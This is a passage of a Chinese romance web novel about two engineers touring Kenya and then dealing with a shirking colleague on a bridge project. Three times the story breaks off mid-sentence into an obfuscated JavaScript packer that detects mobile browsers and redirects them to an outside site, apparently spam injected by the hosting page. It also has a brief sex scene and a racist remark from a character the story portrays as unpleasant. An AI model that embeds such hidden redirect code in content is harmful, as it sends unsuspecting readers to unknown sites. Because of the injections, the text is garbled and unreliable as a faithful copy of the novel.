看完了天河之渡,钟琂还让Arvin再带他们到处转转。热气球往上升到很高,足以将整片草原和森林都尽收眼底,落日余晖将整个世界都染成了金黄色。 他们赶在天黑之前降落,刚从热气球里下来,就有工作人员过来给沈时因和钟琂颁发证书。 沈时因很宝贝似的捧在怀里,“这是勇气证书,我一定要好好保存。” 这天晚上,沈时因不再痴迷于星空。回到酒店房间,他们一关上门就开始亲吻对方,从地上一路亲到了床上,衣服裤子全都胡乱丢了一地。 沈时因很主动地想要和钟琂一起沉溺于所剩无多的亲密与温存之中。在持续的晃动之中,她语不成调,“你别总叫我的名字,说点我爱听的。” “你爱听什么?” “比如你有多喜欢我,多离不开我,多想永远和我在一起……”沈时因说到最后反倒害起了羞,趴在钟琂的肩窝里,那种酥酥麻麻的感觉也堆叠了过来,让人浑身发紧。 钟琂咬了很久她的耳朵,大概也说了些语无伦次的胡话,沈时因觉得他不太擅长做这些,于是又贴上去堵住了钟琂的唇。 在这样的情形下,他们可以想见地折腾到了大半夜。沈时因第二天根本起不来,等她真正清醒过来的时候四肢百骸都传来一阵酸痛,长颈鹿来没来过她不知道,她只发现钟琂不在身边。 “钟琂?” 沈时因坐起身,刚一开口发现嗓子也哑得不像话,大概是昨天晚上叫得太多了。她拿起床边的水喝了几口,钟琂正好从门外走进来,手里还拿着手机,“我刚刚去接了个电话,张工打来的。” “他不会是叫你提前回去吧?” “那倒没有,就是材料快到了,让我别忘了买机票。他还不知道我已经在非洲了,算着时差给我打的。”钟琂掀开纱帐,靠着沈时因躺下。 沈时因摸了摸他的头发,“我们是不是来不及去看动物了?” “来得及,我把行李都收好放车上了。我们下午四点之前出发,到纳瓦沙湖。” 沈时因找到自己的手机,已经快到十点了,如果吃饭在车里解决,那他们现在就还有六个小时的时间能留在马赛马拉。 沈时因从薄毯下面拿出钟琂正欲作乱的手,在他唇边亲了几下,“我们走吧。” 这天的Safari依旧很顺利,他们看到了前两天都没能找到的狮子,其中一只还扬起了头颅,发出足以震慑丛林的嗥叫声。 他们还很幸运地再次看见了象群,虽然不太确定是不是第一天看见的那些,但沈时因还是朝它们挥了挥手,算作告别。 临走之前,沈时因看见成群的鬣狗在围在一具已经快被蚕食殆尽的动物尸体旁边,可能是某只迁徙失败的角马被河流冲了上来,也可能是不小心走散的铃鹿被更快的猛兽追上,总之这片草原从来都有它自己的运行方式。 刚过四点,钟琂和沈时因与Arvin作别,他们坐上来时的车,踏上下一段旅程。 漫长的公路旅行基本只能用聊天来打发时间,沈时因坐在副驾驶,袋子里有很多钟琂提前打包的面包和蛋糕,每次路过加油站或超市,他们也会下车补给一些物资。 钟琂开了五个多小时的车。途中路过了狮子王取景地,沈时因在峡谷跑来跑去,试图还原出电影里的场景和机位。钟琂看得胆战心惊,“你小心点,这里可不会有人给你颁发勇气证书。” 沈时因一路俯冲下来,钟琂正好接住她。等沈时因差不多看够了,他们就再次坐上车,前往当晚的住处。 抵达帐篷营地的时候天已经全黑了,附近全是来自世界各地的游客。每个帐篷都由木制栏杆围了起来,内部陈设也很一应俱全,不仅有浴室和热水,还有专门的起居室和观影区。 沈时因和钟琂去旁边餐厅吃了点东西,回到帐篷就上床睡觉了。夜里的风很大,吹得帐篷哗哗作响,沈时因一晚上都抱着钟琂,刚开始还有点害怕,听久了反倒觉得这声音像白噪音,于是越睡越沉。 早上醒来,沈时因还想像往常那样和钟琂缠绵一会儿,钟琂突然拍了拍她的背,低声说:“你该出去看看。” 沈时因掀开被子下床,披了条毯子走过去打开帐篷的拉链。 她原本以为会看见金色的日出或是广袤的平原,事实上这两者的确存在,但当她打开帐篷,那如画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150043|135313||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般的景象就这样出现在眼前的一瞬间,沈时因发现自己无法用言语来形容所看见的这一切。 她怔愣半晌,忽然往回跑到了床上。她摇着钟琂的肩膀说:“我们昨天晚上居然在乞力马扎罗山的山脚下露营!我就睡在山的旁边,你怎么也不告诉我?我刚才还看见赤道雪了!” 钟琂眉眼带笑,就这样看着沈时因激动地东奔西跑。他解释说:“看着离山很近,其实还有一段距离。这里是最佳的观景位置。” 沈时因找出手机,“不行,我得拍点照片给外婆发过去,让她看看赤道真的有雪。” 钟琂跟在沈时因后面走出帐篷,他把门帘敞开系好,形成一个内外连通的状态。门口靠着栏杆的平地上也有些桌椅,营地的工作人员正好送过来提前预订的餐食,他们相对而坐,只要一抬头就能看见乞力马扎罗山的全貌。 营地的三明治制作简陋,面包中间只夹着生菜和几片火腿肉,咖啡也很涩。但此时此刻,食物的味道变得一点都不重要,光是眼前美景就能值回票价。 “山顶上的雪是不是永远都不会化?”沈时因问。 “应该是。但由于全球变暖和火山活动,未来的某一天可能会全部消失。” 沈时因很遗憾地说:“那好可惜。如果有一天积雪和冰川真的全都融化了,那我们至少见证过它的存在。” 随着日光的照耀,白皑皑的雪冠变得光华四射,好像给整座山戴了一顶发着光的帽子。 他们坐在炎热暑气的夏日里,抬头却能看见雪景,这属实算是一大奇观了。 这一整天,沈时因都在和乞力马扎罗山相处。 他们在翌日清晨踏上了向东的路程,来到蒙巴萨海滩,感受了遍布白沙的沙滩和海浪。还去纳库鲁湖看到了许多颜色漂亮的火烈鸟,在返回内罗毕的路上经过了东非大裂谷。 “我本来以为是一条深不见底的地缝,一不小心掉进去就会当场毙命的那种。结果怎么是一个深谷?”沈时因探着头往下看,下方还有居民和房屋,对面是流水瀑布。 钟琂:“你该不会还以为往前一跃就能跳过去吧?” 沈时因笑起来,“差不多吧,没想到有这么宽。” 当天晚上,他们住在旁边的酒店。两人心情都有些复杂,因为再睡一觉醒来就该开车回园区了。 沈时因坐在床上整理手机里的照片,她问钟琂:“我们这次是不是把所有知名景点都去过了?” 钟琂说:“应该是。本来行程很紧张的,好在有一天晚上在飞机上度过,就省下来了一天。” 沈时因靠在钟琂旁边,突然煞有介事地说:“你知道吗,其实你也是非洲著名景点。” 钟琂总觉得沈时因在胡言乱语,“什么?” “这是真的。我来非洲之前,好多同行都用一种介绍名胜古迹的方式在介绍你。” 钟琂揉着沈时因的头发,随口问道:“那你见到我的时候失望了吗?” “一点也没失望。”沈时因附在钟琂的耳边说:“而且我已经成功在你身上到此一游了,如果要写攻略,我会说很推荐,这是个值得一去的好地方。” 71.第 71 章 钟琂扬起眉毛,语调有些揶揄:“你要给别人推荐?” 沈时因点点头,然后又摇摇头:“别人只能看,只有我能感受……” 钟琂索性靠在床上,对沈时因说:“那你可以再来我身上游一游。” 沈时因发现越是假期快结束,她就越想要和钟琂沉湎于这种没羞没躁的生活。 最后反倒是钟琂主动说:“我们又不是要分开了,还要一起回园区的。” 沈时因又缠上去亲他,叹息着说:“可是这不一样。” * 第二天醒来的沈时因躺在床上晕神,她意识到这家酒店不会有长颈鹿叫早,也不会有清晨的乞力马扎罗山给她看了。她走下床,看见钟琂已经把行李箱都收好了,还叫了早餐。 总体来说,沈时因能给这趟旅程打满分。他们先后经历了最现代化的都市和最原始的草原旷野,每天都看到了不一样的风景,也全程都没有吵架。 回程的路上,沈时因忍不住问:“下次假期是不是要等大桥完工了?” 钟琂说:“那是最好的情况。大桥完工之后肯定又有别的项目,如果赶到一起了也放不了假。” 沈时因问:“在我来非洲之前,你是不是也有快三年没休过假?” 钟琂说:“对,这一行就是这样,大家不远万里地来非洲也都想干出点成绩来。” 他们还需要再开六七个小时的车才能回到园区,沈时因坐在车里,没睡觉也没说话,只看着窗外发呆。不同于前几天努力找话题和钟琂聊天,她愈发沉默了下去。 回到城市,熟悉的小乞丐和商贩们也回来了。每次停下车,总有一群小朋友围过来乞讨,沈时因摁下车窗,把自己包里的巧克力全都发了出去。 钟琂没说话,默默看她发完零食,“你不是习惯在包里放糖和巧克力么,都给他们了,你怎么办?” “回园区我再去超市买就好了。” 下午快到五点的时候,沈时因眼前出现了无数错落高耸的塔吊,她知道他们快回到园区了。 “我晚一点过来找你。”钟琂说:“不会太晚。” “好,那我就自己解决晚饭。”沈时因其实也有点想念中餐了,正好去食堂吃。 车已经停好了,钟琂熄了火,周遭变得很安静,但他们谁也没有先下车。 奇异的沉默里,沈时因转过脸,发现钟琂正在看她。紧接着,她如有所感似的往前挪动了一点,钟琂也向前靠近,吻住了她的唇。 其实也就分开几个小时而已,但这个黏黏糊糊的吻很奇怪地带着些分别的意味。钟琂揉了揉她的头发说:“回去记得抹点防蚊药膏,园区蚊子多。” 沈时因说:“好。” “你这么久没回去了,也不知道有没有壁虎。如果有的话就给我打电话,我马上过来。” 沈时因说:“应该不会有,离开前都关紧门窗了。” 她依依不舍地下了车,吃完饭回到宿舍,什么也没做,她又开始百无聊赖地等着钟琂过来了。 沈时因大概有一点旅行戒断反应,就像一群好朋友结伴出游,全程都玩得很开心很畅快,情绪一直处在高涨状态,骤然回到平淡枯燥的生活里了,会陷入一种不知该做什么的空虚感。 更要命的是钟琂又接手了新的项目,大桥的主要设计和技术要点他都已经完成,所以不再需要每天过去,偶尔去一趟看看进度和验收质量就行了。 沈时因哭丧着脸说:“那你以后的工作重心就要转入下一个项目了?我想不通,怎么就有那么多楼需要修。” “这可是非洲,这片土地可以说是百废待兴,当然还有很多需要建设的。”钟琂说:“大桥的施工也已经步入正轨,剩下的就是施工队和你们这些工程师的事了。” 沈时因恨恨地说:“新项目也不需要我给你建模了?” 钟琂说:“不用。大桥太重要了,你先把那边顾好。” “好啊你,卸磨杀驴,过河拆桥。”沈时因磨刀霍霍地凑上去,作势要咬他,但其实碰到人了她只是没完没了的亲吻和舔舐。 因为身处赤道,季节的变化在这里并不分明。国内都已经气温骤降,要穿上外套和棉服了,他们这里穿的衣服还跟之前没什么两样。 因此当沈时因的生日到来那天,她反而有些恍惚,时间怎么过得这么快…… 她的手机从早上起就响个不停,梁冉算好时间给她送来了祝福,外婆也特地打来电话,还有一大堆品牌和网站的模版化生日祝福塞满了她的邮箱。 沈时因坐在床上处理完这些,下来的时候钟琂正在穿衣服,“我晚上早点回来,我们出去吃?” 沈时因最近挺忙的,她白天按部就班地去大桥那边,晚上要么和胡定荣一起回来,要么自己一个人开车往返。 她穿着睡裙走过去,抱住钟琂说:“你可以早点回来,但我不一定能。你今天还是要去新项目那边?” “嗯,要打地基了,得去盯着。” 钟琂捧起沈时因的脸,在她唇上亲了亲,“祝你生日快乐,我晚上买蛋糕回来。” 沈时因照常去上班,没有告诉任何人这天是自己的生日。一旦说了就很容易陷入道德绑架的境地,听到的人也总会有一点无措,会不自觉地想是不是该送个礼物或是聚在一起庆祝,沈时因既不想和这些关系不算有多紧密的同事一起过,也不想把自己架到寿星的位置。 到了下午,沈时因多少还是有些心神不宁。钟琂可能已经在返程的路上了,如果她能早点回去,那他们就能多待一会儿。 沈时因不自觉地加快了手上画图的速度,布置给胡定荣的任务她也催了好几次。即使没有做过承诺,沈时因还是赶在了七点之前下班,驱车回到园区。 她去食堂打包了些吃的,这样等钟琂回来了他们可以坐在蛋糕旁边一起吃。回到宿舍布置了一番,沈时因一直没动筷子。 可她左等右等,钟琂就是没回来。沈时因忍不住打开电脑,在内网查看这一天的邮件往来。 沈时因很快给钟琂的晚归找到了缘由,新项目正进行到基坑环节,就在往下打沉井的时候地底软土出现了塌陷,一下子陷落了好几米,整个基坑都会受到影响。 虽然这不算多么严重的事故,也没有人员受伤,但钟琂或多或少会被绊住,要留在那里做后续的工作安排。 沈时因叹了口气,出现这样的事故谁也预料不到。她吃了点东西,走进浴室洗了澡,坐在书桌前找了本书看。 钟琂晚上十点多才回来,手里提着蛋糕,很有些风尘仆仆。沈时因走过去接过蛋糕,担心地问:“今天打沉井的时候出了事?” “出了点事故,但问题不大。还好没错过你的生日。”钟琂说:“我先去换身衣服。” 沈时因重新坐回书桌前,她听见浴室传来一阵水声,蛋糕还放在桌上,她不确定钟琂吃过饭没有,于是将之前买的晚饭又放进小锅里加热了一下。 钟琂穿好衣服走出来,“你怎么没把蛋糕打开?” 沈时因打开包装盒上的丝带,解开一看,圆形的蛋糕上面,奶油被做成了许多动物的形状,底座平面上还用黄色和红色画出了日落。 “你不是在园区的店里面买的?”沈时因问,这一看就是在外面订做的。 “我在外面找了家店,里面还有红豆。”钟琂点着蜡烛说:“等这几天忙完,我就可以每天跟你一起去大桥了。” 沈时因不用想都能猜到,大桥的建设应该也到了关键时期。桥墩的定位已经做完了,钢管也打了进去,下一步就该用导管浇混凝土了。这是关乎质量和结构的重中之重,钟琂理应到场。 点完蜡烛,钟琂关上灯,放轻声音用英文给她唱了生日歌。沈时因闭上眼睛许了愿,吹完蜡烛以后看见桌上多了一个方形的绒面盒子。 “这是送给你的生日礼物。”钟琂打开灯说。 沈时因看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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到了年底,做年终总结、发年终奖、开年会的一类活动占据了生活里的很大一部分。由于都是背井离乡的打工人,大家不能回去与家人亲友团聚,便只能退而求其次地暂时把同事当家人了。 元旦一过,整个园区也张灯结彩了起来。虽然身在异乡,但年还是要过的,而且还要热热闹闹地过。 张士明不知从哪请来了舞狮队伍,园区的音响也滚动播放起新年歌。食堂开放了几次,阿姨们拌好肉馅、擀好面皮,再把所有人都召集在一起,大家围坐成一个圈包饺子。 钟琂对这些活动一点兴趣都没有,他也不爱吃饺子,每次总是露一下脸就离开了。沈时因倒是很有参与感地每次都包了很多,她小时候常常在厨房给外婆打下手,包起饺子来又快又好,得到了食堂阿姨们的一致赞扬。 过年这天,沈时因带着自己包的一盘饺子回到宿舍,给钟琂也煮了几个。窗外放起了烟花,内罗毕市区的地标建筑也点亮了“中国红”,听说还要举办新年庙会。 沈时因往家里打了很久的电话,她很想外婆,但到账的年终奖金多少还是抚慰了一些想家的心情。 “你们家过春节吗?”沈时因问坐在一旁看电脑的钟琂。 “过啊,我爸妈还会给我买新衣服、包红包,家门口也要贴对联。” 沈时因打量他半晌,摇着头说:“看着不像。” 整个园区拢共也就过了两天春节,看着气氛热烈,实际的修建一点没落下,工作一直都在紧锣密鼓地进行。 非洲基地一般每年会迎来两次新人入职潮,一次是毕业季,沈时因就是这个时候来的,另一次就是春节后,人们总说新年新气象,年后入职或者调动都是很常见的。 就这样,园区迎来了一批新同事,第一个月总会跑一半,剩下几个月再走几个,能留下三分之一就算不错了。 沈时因如今也勉强能算个职场老人,有时候坐在办公室里,也会听人点评几句这次的新人质量如何。 有天早上,沈时因刚开车到大桥现场,张士明带着一个年纪稍长的男人过来,远远看见她就说:“这就是我跟你提到过的沈工。” 沈时因停下来,对着两人挂上职业微笑。张士明走到近前,对她介绍道:“这是赵广生,赵工。这次外派过来的,也负责技术,你们认识一下。” 72.第 72 章 沈时因看这人有点面熟,但对他印象一般。因为他刚来没多久就总跟那几个爱摆谱、爱摆架子的所谓老资历员工走得很近,沈时因好几次都看见他们凑在一起抽烟,张口闭口都是现在的年轻人如何如何。 沈时因心里的这些心思一晃而过,面上不显,只伸出手说:“赵工您好,以后多多指教。” 赵广生与她握了一下,始终眯着眼睛,居高临下地打量着,像被日光灼了眼。 张士明说:“沈工,你带赵工到处转转,熟悉一下,有什么事忙不过来也可以让赵工帮忙分担。” 张士明说完就走了,在场的人只剩下沈时因和赵广生。从张工话里的意思来看,赵广生之所以会被带到沈时因面前,无非是想让她带带新人,定位也就跟胡定荣差不多。 但赵广生看上去都五十来岁了,不像胡定荣刚大学毕业没多久,也没什么社会经验,可以任由沈时因使唤。 沈时因挠了挠头,觉得这情况有些棘手。她向前请了请,“赵工,办公区你应该已经去过了吧。那我们直接坐导向船去桥墩附近看看?” 赵广生倒是答应得很爽快,“行。” “那我先回去拿图纸和电脑。”沈时因说。 沈时因还去库房拿了监测风速的仪器,随后到岸边坐上一艘导向船,她指着最近的几个桥墩说:“钟琂已经做出示例了,剩下的桥墩我们用一样的方式做桩基就行。只要风速和海浪小于一定数值就能施工。” 越是靠近大海中心,风浪就越大,所以最中间的桥墩都要更谨慎一些。 赵广生打量起四周,撇着嘴说:“我经手过的桥比你们修过的路还多,这种程度的斜拉桥,对我来说不算什么。” 沈时因这谨小慎微的模样落在赵广生眼里像是有些滑稽。她噎了噎,补充道:“这里的地形地貌,包括海里的洋流都跟国内不太一样,还是要注意。” 赵广生突然笑了笑,有些神秘地问:“非洲基地的实际话事人到底是张士明还是钟琂?明面上是张士明,但你们好像都听钟琂的。” 沈时因偏着头,语焉不详地说:“他们负责的领域不同吧。张工更多的是管理,就像个大家长,钟琂管技术比较多。” “真要算起来,我跟张士明是同一批的。我们大学是校友,毕业之后又同一年入职公司,他高考分数还没我高。” 赵广生的思维很跳脱,话里话外都好像在抬高自己。沈时因也很少见到这么大年纪还把高考分数挂在嘴边的人。 “只不过入职以后没选对派系,所以好几次都错过了升迁。你知道凌志才吧?最开始还是在我手底下做事的,后来被调到总部,几年下来都成副总了。” 沈时因对总部那些权力斗争和弯弯绕绕不太了解,她顿了顿说:“听说过,但没什么接触。” “这个钟琂得亏是遇到张士明了,要是去总部肯定被扒得皮都不剩。我刚调来非洲那天,每个人都来给我敬酒了,就他没来。” 沈时因回想半晌,新人入职那天,她的确带着胡定荣去碰杯了,但就是走个形式,谁知道他是谁啊? 沈时因说:“钟琂一向不拘泥于表面形式,他是做实事的人,每个人都对他心服口服。” 赵广生盯着沈时因,突然一笑:“看来你跟他们说的一样。” 沈时因皱起眉,“他们是谁?” “就是老方他们几个嘛,”赵广生说:“他们说你喜欢跟在钟琂屁股后面跑。” 沈时因板起脸,一本正经地说:“我是他的结构工程师。” 每回沈时因只要露出认真严肃的神态,赵广生就好像总是会被逗笑。他用过来人的态度说:“人都不在,你还这么维护他。到时候大桥建成了他就是第一大功臣,可实际上我来这么多天,连他人都没见着几面。” 沈时因实事求是地说:“虽然钟琂人不在,但他一直在关注这边的进程。时不时就会过来看看,而且到了关键节点也会全程跟进。” 赵广生又是一笑,似是而非地说:“大家都是来镀金的,我这次过来也最多待个一两年。这帮非洲人真是祖坟烧高香了,我们这么多人拿着钱给他们修路修房子,照我说啊,我们就是这帮黑人的救世主。” 沈时因驾驶着导向船回到岸边,这一路上工作内容没交接多少,光听赵广生在那高谈阔论了。这人别的不行,说起感想领悟来倒是一套一套的。 胡定荣最近常在海对岸做桥台的稳固性测试,沈时因被迫只能与赵广生一起。 几天下来,她发现事情都是自己在做,赵广生常常以抽烟或去洗手间为由,每次消失就是一两个小时。就算一起到现场做测验,他也总是拿着个手机瞎晃,随时跟国内的老婆儿子视频通话,好几次他在那自言自语,沈时因还以为在叫她,走近一看才知道又是在跟人打电话。 沈时因觉得他哪怕人在这里,心也不在,所以不敢把很多重要的事情交给他。她对这类人也有比较清晰的认知,就是个职场混子,事情能躲就躲,喜欢论资排辈,酒桌上比谁都会来事,漂亮话都被他一个人说完了的老油条。 这天晚上,沈时因把事情做完了准备下班,她照常坐上车,准备开回园区。启动之后,她不禁有些担心刚刚做好的围堰。 在水里修桥墩的原理其实很简单——先将定位的地方用围堰围起来,抽干水,下放钢筋笼,再用导管往里灌混凝土。因为靠近中段,处在深水区,所以他们最近都采用双壁钢围堰,拼焊之后也做过了水密性试验。 这批围堰一共有五个,确定稳固之后会联系混凝土厂家,让他们按照要求拌好之后再用专门的车运送过来。 她前一天就给赵广生说过了,让他记得定期去检查,海浪如果太大会造成钢板移位,如果移位就需要做二次焊接和捻缝。赵广生当时满口答应了下来,一副“这点小事根本难不倒我”的表情。 沈时因有些怀疑赵广生到底有没有去检查,于是熄了火,走到岸边找了艘船坐上去。她在最新一批的围堰前停下,拿出测距仪一量,果然如她所料,整体都有不同程度的位移,根据挪动位置判断,大概从今天早上开始就不合规了。 沈时因站在船上,拿出手机给赵广生打电话,打了好几个都占线,大概又在跟国内亲戚聊天吹牛。沈时因只好联系胡定荣,让他准备好焊接工具,自己马上开船到对岸来接他。 胡定荣住在对岸的活动板房里,上船的时候还有点搞不清楚状况,“是不是风浪太大了,我们该往下再打深一点?” 沈时因摇了摇头,闷声说:“目前的位移还处在可控范围,在浇筑之前恢复就行。” 胡定荣拿着焊接工具,沈时因在旁边测距和指挥,做完这些,她再将胡定荣送回去,自己开着船回到办公区。 再回到岸上已经九点了,赵广生一直没给她回电话,沈时因也暂时不想听见这个人的声音。她带着一肚子火气去食堂吃了饭,心想这么晚了,今天干脆就在生活区将就一晚。 沈时因在顶楼洗完澡,回到房间里。这时候才想起了钟琂,觉得该给他说一声。她拨通钟琂的电话,“我今晚不回园区了。” 钟琂那边很安静,他问:“怎么了?” 沈时因说:“不小心就忙到现在了,最近事情又多,明天一早还得过来,干脆就不回去了。” 钟琂说:“那你注意休息。” 挂断电话,沈时因坐在床沿,她解开两侧的简易蚊帐,躺在单人床上。 翻来覆去半个多小时,沈时因还是没睡着。她正想坐起来活动活动,门口忽然传来一阵敲门声。 沈时因披着外套走过去,很机警地问:“谁?” 钟琂压着声音说:“是我。” 沈时因松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈时因发现自己大概已经习惯和钟琂一起睡了,被他抱着的感觉很安心,常年冰凉的手脚也会被他捂热,钟琂也经常给她掖被角、亲她或是很轻柔地拍她的背。 等她再醒过来,钟琂已经离开。沈时因坐起身,带着洗漱用品走到每层楼统一的水池旁洗脸。 隔着水声,沈时因也能听见张工正在通知大家召开例会,尤其是今天钟琂来了,性质也就跟领导视察差不多,每个负责不同试验段的人都要做工作汇报。 沈时因沿着楼梯往下走,路过二层的时候有意等了等,果然没多久就看见走出来的赵广生。 “赵工,借一步说话。”沈时因走上前说。 赵广生的手机里还在播放短视频,他咂了一下嘴,摁熄屏幕,跟着沈时因走到了过道转角。 沈时因沉着脸,也不与他兜圈子,直说道:“我前天让你去检查围堰的偏移,你答应得好好的,结果我昨天晚上去看的时候已经位移了很多。每个人都有自己的事要做,这已经是最简单的任务了。” 赵广生一听,不以为然地说:“多大点事,正式浇筑之前还会做确认的,到时候再调不就行了?”末了,他还声音极低地嘟囔一句:“还真把自己当个人物了……” 沈时因说:“正式浇筑之前的确会再做测量,可你有没有想过万一偏得太多,需要整体重来,那一车的混凝土该怎么办?” “不至于的,这么多人都算了那么多次了。被风浪打几天就要重来,那这群人是吃白饭的?” “你再这副态度,以后就别跟着我做事。”沈时因提高了几分声量:“还有,你最好随时保持通信畅通,不管用手机还是对讲机,我不希望遇到事情的时候联系不到你。” 73.第 73 章 沈时因虽然长得好看,但这张脸不适合耍狠斗勇,她在疾言厉色的时候脸颊会不自觉地鼓起,震慑效果大打折扣。 不过赵广生倒是听进去了,他抱着拳,动作夸张地讨饶道:“知道了,大小姐。以后绝对不惹你生气。” 沈时因觉得他在故意装相,依旧严肃地说:“这不是我生不生气的问题,是关乎到工程结构的大事。” 大概是察觉到沈时因的确生气了。这种情况下,赵广生反倒能屈能伸了起来,他很会放低姿态地说:“真的知道了,我们这种中年人跟你们单身汉不一样,有家有口的,事情难免多一点,以后一定注意。” 沈时因有种一拳打在棉花上的感觉,她本来以为赵广生会跟她吵起来,提前准备了许多话术,浑身也攒着劲,结果一个都没用上。 只不过赵广生既然服软了,那总比冥顽不灵强,沈时因见状也放软了神色,“那就好,我们一起齐心协力把大桥建好。” 沈时因走下楼,去食堂吃完早饭,再去会议室里开会。 从这天起,赵广生果然收敛了不少,不再动不动就玩消失,出现的时候也不再手机不离手了。偶尔还会主动站出来与施工队交涉,他年纪稍长,端起领导派头的时候比较镇得住人,有时候说话比沈时因还管用。 沈时因又开始了每天往返园区的生活,如果钟琂来了那她就坐钟琂的车,有时候还会在外面餐厅吃完饭再回去。 有天下午赵广生正坐在库房门口歇息,他看见沈时因和钟琂一前一后地上了车,什么话也没说,互相都很心照不宣似的。 库管刚搬完仪器,也走出来坐在门口对着册子清点。赵广生很上道地递过去一支烟。对于一部分男人来说,抽烟就是一种交际,互相散散烟,再点个火,抽烟的工夫闲聊几句,关系就这么拉近了。 赵广生给库管点燃烟,凑过去一看,册子上有几个设备旁边都打了星号,像是特地做过标记。 “这些是要送修的?”赵广生问。 “不是,这些都是钟琂用过的。他一般用过的仪器都至少要保存个一两天,尽量别去动,就怕他突然想起来了什么还要再做确认。”库管把前几天做过标记的地方画了叉,摆明已经过了时限。 赵广生嗤笑一声,“架子还挺大,来这儿当土皇帝了。” 随口揶揄几句上司是赵广生一贯的交际手段,毕竟没人会真正喜欢领导,上下级之间天然就存在利益冲突。但他没想到的是这一句无伤大雅的戏谑又碰了壁。 库管对钟琂印象不错,他每次不管是拿取或是归还都很彬彬有礼,不像其他人一样往门口一放就走,他总会很细致地物归原位,这给库管的整理工作省了不少事。 “那也不能这么说,有时候器材不够了,别人要用他也不会说什么。沈工有一次还将他特意贴上的贴纸撕了下来,也没见人生气,钟琂并不是表面那样不近人情。” 库管在维护钟琂,但落在赵广生耳中又变成了另一番况味。他的心思一向不放在工作上,专爱研究这些歪门邪道,对人与人之间的关系有种天然的窥探欲。 他玩笑般地说:“他俩不会有什么情况吧?” “不会的,钟琂一般不会和谁走得特别近。沈工应该和小胡是一对。” 赵广生一愣,“胡定荣?” 库管自知失言,摆了摆手说:“也不一定,都是我瞎猜的。他俩总在一起,又是帅哥美女,看着般配,实际上应该只是普通的同事关系。” “这样啊。”赵广生意味深长地说,“年轻人嘛,搞些情情爱爱的也正常。” 此时的沈时因正坐在车里,和钟琂研究一会儿吃什么。 沈时因说了一大堆自己想吃的:“小蛋糕、小笼包、小馄饨、小龙虾……” “为什么你喜欢吃的全都是‘小’字开头?”钟琂总结出了一定规律,“不然就是甜食……对了,车里有巧克力,你如果饿了可以先吃点。” 沈时因打开中间的扶手箱,里面居然满满当当地放了几十块巧克力。她拿起其中一块打开包装纸,“你去搞批发了?” 钟琂笑着说:“不是。我本来想买一些放在车里,给你准备着。但是我之前去新项目途中刚好经过了你发巧克力的那个路口,那些孩子记住了我的车,一停车就围上来说这辆车上的人会发巧克力,所以我就习惯多放一点。” 沈时因好奇地问:“那你一般多久去发一次,有固定的时间吗?” “没有,你现在想去吗?上次还有个小朋友问我漂亮姐姐怎么不见了。” 沈时因答应下来:“行啊,我想去看看。” 钟琂驱车开到附近,刚一停下,果然有很多小孩子围过来。沈时因看见几个熟悉的面孔,拿出巧克力的时候还不忘叮嘱:“别一下子吃光了,我们不一定什么时候才能过来。” 所有巧克力被一扫而空,沈时因后知后觉地说:“是不是该留一点……可是面对那种眼神真的很难克制住。” “没关系的,我下次再去买。只要不直接给钱和贵重物品就行。” 隔天下午,沈时因坐船去海里做了最后一次的确认。回程路上她的裤腿被海浪浇湿了一大截,上了岸第一时间回到生活区,找出裤子换。 换完以后,沈时因走出房间关上门,拐角处冷不丁出现一个人影。那人似乎正要转身下楼,但沈时因认出了他的背影,“赵工?” 赵广生猛地回过头,打量半晌说:“哟,沈工在工地这种地方也这么讲究啊,一天换好几身衣服。” 沈时因锁上门,面无表情地问:“你在这里做什么?” “闲来无事,到处逛逛。”赵广生往前看去,探究地问:“这层楼就住了你们三个人?” 沈时因把钥匙放进包里,转身往下走,“我平时很少住这里。” “是么,那你一般跟谁一起回去?” “谁要回去我就坐谁的顺风车,”沈时因说:“没人回去我就自己找辆车开。” 沈时因走到一楼的办公区,她想找张士明提交申请,根据流水施工,那几个桥墩的施工都可以进入下一步工序了,混凝土厂家也需要他出面联系。 张士明不在办公区,她站在门口等了等,忽然看见赵广生背对着她,也不知道在对谁说话:“人啊,贵在有自知之明。灰姑娘的故事哪有这么多,别总想着攀龙附凤,把好好的工地搞得乌烟瘴气。” 沈时因本来以为他在跟谁说话,可他说完这句感念突然摇着头走了,原先的位置空空如也,她没看见第三个人。 沈时因觉得这人真是神神叨叨的,平时好像总有许多感想领悟 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沈时因很惊讶,怪不得赵广生对钟琂意见这么大,原来私下里早就腆着脸想攀关系,被拒绝之后才“因爱生恨”。 钟琂说:“这种人一般是在国内升迁无望,实在没办法了才想曲线救国。你知道姓方的那个总工吧,他侄子在国内分公司当老总,说话很有些分量。” 沈时因再度惊讶,“原来你了解这些内幕啊,我还以为你两耳不闻窗外事。” “听张工提过几句,谁让我记性好呢?” 钟琂实在不需要,也不喜欢记这些。但沈时因也因此对赵广生有了更清晰的了解,与他共事大概是个此消彼长的过程,需要对赵广生时时敲打,一旦放松警惕了,他就总想骑在你头上。 不过总体来说,赵广生最近还是老实了不少,交待给他的事情都能做好,除了爱碎嘴之外挑不出大毛病。 就这样,在一个风和日丽的清晨,经过厂拌和路拌的混凝土被送到了现场,白色的搅拌车停在岸边,不到最后一刻都不会停止搅拌。 沈时因和胡定荣分别坐着两艘导向船从两侧驶向目标地点,各自都带着一些施工员。姓方的那位总工也来了,身后跟着质检、监理和两名当地潜水员。 不知道为什么,赵广生也在那艘稍大些的船上。两人站在最前面的船头,手里都夹着烟,很有些指点江山的意味。 